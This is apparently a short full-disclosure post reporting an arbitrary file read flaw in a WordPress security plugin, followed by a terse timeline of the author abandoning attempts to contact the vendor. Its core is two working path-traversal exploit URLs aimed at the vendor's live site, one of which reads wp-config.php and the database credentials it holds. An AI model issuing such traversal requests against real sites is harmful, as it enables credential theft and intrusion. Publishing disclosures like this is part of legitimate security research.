This wordpress security plugin lets you read arbitrary files on the
system.  Looking at the code, there will be plenty of stuff like this.

Demo:
  http://www.cloudsafe365.com/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=../../../../../wp-config.php
  http://www.cloudsafe365.com/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=../../../../../wp-login.php

Disclosure timeline:
 * Today: visit wordpress.org
 * Try to report bug
 * System wants login
 * Visit web site: vendor has no e-mail address and stupid one-liner
contact form and hidden name
 * Stuff it, I'm not going to phone them